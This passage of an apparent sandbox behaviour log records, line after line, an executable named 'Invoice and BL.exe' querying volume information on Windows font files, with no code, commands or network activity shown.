Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\consolab.ttf VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\consolaz.ttf VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\constan.ttf VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\constani.ttf VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\constanb.ttf VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\constanz.ttf VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\corbel.ttf VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\corbeli.ttf VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\corbelb.ttf VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\corbelz.ttf VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\cour.ttf VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\couri.ttf VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\courbd.ttf VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\courbi.ttf VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\ebrima.ttf VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\ebrimabd.ttf VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\framd.ttf VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\FRADM.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\framdit.ttf VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\FRADMIT.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\FRAMDCN.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\FRADMCN.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\FRAHV.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\FRAHVIT.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\Gabriola.ttf VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\gadugi.ttf VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\gadugib.ttf VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\georgia.ttf VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\georgiai.ttf VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\georgiab.ttf VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\georgiaz.ttf VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\impact.ttf VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\Inkfree.ttf VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\javatext.ttf VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\LeelawUI.ttf VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\LeelUIsl.ttf VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\LeelaUIb.ttf VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\lucon.ttf VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\l_10646.ttf VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\malgun.ttf VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\malgunsl.ttf VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\malgunbd.ttf VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\himalaya.ttf VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\ntailu.ttf VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\ntailub.ttf VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\phagspa.ttf VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\phagspab.ttf VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\taile.ttf VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\taileb.ttf VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\msyi.ttf VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\monbaiti.ttf VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\mvboli.ttf VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\mmrtext.ttf VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\mmrtextb.ttf VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\Nirmala.ttf VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\NirmalaS.ttf VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\NirmalaB.ttf VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\pala.ttf VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\palai.ttf VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\palab.ttf VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\palabi.ttf VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\segoepr.ttf VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\segoeprb.ttf VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\segoesc.ttf VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\segoescb.ttf VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\segoeuii.ttf VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\seguisli.ttf VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\seguili.ttf VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\seguisbi.ttf VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\segoeuiz.ttf VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\seguibl.ttf VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\seguibli.ttf VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\seguiemj.ttf VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\seguihis.ttf VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\seguisym.ttf VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\simsun.ttc VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\simsunb.ttf VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\sylfaen.ttf VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\symbol.ttf VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\tahomabd.ttf VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\timesi.ttf VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\timesbi.ttf VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\trebuc.ttf VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\trebucit.ttf VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\trebucbd.ttf VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\trebucbi.ttf VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\verdana.ttf VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\verdanai.ttf VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\verdanaz.ttf VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\webdings.ttf VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\wingding.ttf VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\holomdl2.ttf VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\CENTURY.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\LEELAWAD.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\LEELAWDB.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\MSUIGHUR.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\MSUIGHUB.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\WINGDNG2.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\WINGDNG3.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\TEMPSITC.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\PRISTINA.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\PAPYRUS.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\MISTRAL.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\LHANDW.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\ITCKRIST.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\JUICE___.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\FRSCRIPT.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\FREESCPT.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\BRADHITC.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\OUTLOOK.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\BKANT.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\ANTQUAI.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\ANTQUAB.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\ANTQUABI.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\GARA.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\GARAIT.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\GARABD.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\MTCORSVA.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\GOTHIC.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\GOTHICI.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\GOTHICB.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\GOTHICBI.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\ALGER.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\BASKVILL.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\BAUHS93.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\BELL.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\BELLI.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\BELLB.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\BRLNSR.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\BRLNSDB.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\BRLNSB.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\BERNHC.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\BOD_PSTC.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\BRITANIC.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\BROADW.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\BRUSHSCI.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\CALIFR.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\CALIFI.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\CALIFB.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\CENTAUR.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\CHILLER.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\COLONNA.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\COOPBL.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\FTLTLT.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\HARLOWSI.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\HARNGTON.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\HTOWERT.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\HTOWERTI.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\JOKERMAN.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\KUNSTLER.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\LBRITE.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\LBRITED.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\LBRITEI.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\LBRITEDI.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\LCALLIG.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\LFAX.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\LFAXD.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\LFAXI.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\LFAXDI.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\MAGNETOB.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\MATURASC.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\MOD20.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\NIAGENG.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\NIAGSOL.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\OLDENGL.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\ONYX.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\PARCHM.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\PLAYBILL.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\POORICH.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\RAVIE.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\INFROMAN.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\SHOWG.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\SNAP____.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\STENCIL.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\VINERITC.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\VIVALDII.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\VLADIMIR.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\LATINWD.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\TCM_____.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\TCMI____.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\TCB_____.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\TCBI____.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\TCCM____.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\TCCB____.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\TCCEB.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\SCRIPTBL.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\ROCK.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\ROCKI.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\ROCKB.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\ROCKEB.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\ROCKBI.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\ROCC____.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\ROCCB___.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\RAGE.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\PERTILI.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\PERTIBD.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\PER_____.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\PERI____.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\PERB____.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\PERBI___.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\PALSCRI.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\OCRAEXT.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\MAIAN.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\LTYPE.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\LTYPEO.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\LTYPEB.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\LTYPEBO.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\LSANS.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\LSANSD.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\LSANSI.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\LSANSDI.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\IMPRISHA.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\HATTEN.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\GOUDYSTO.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\GOUDOS.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\GOUDOSI.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\GOUDOSB.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\GLECB.TTF VolumeInformation
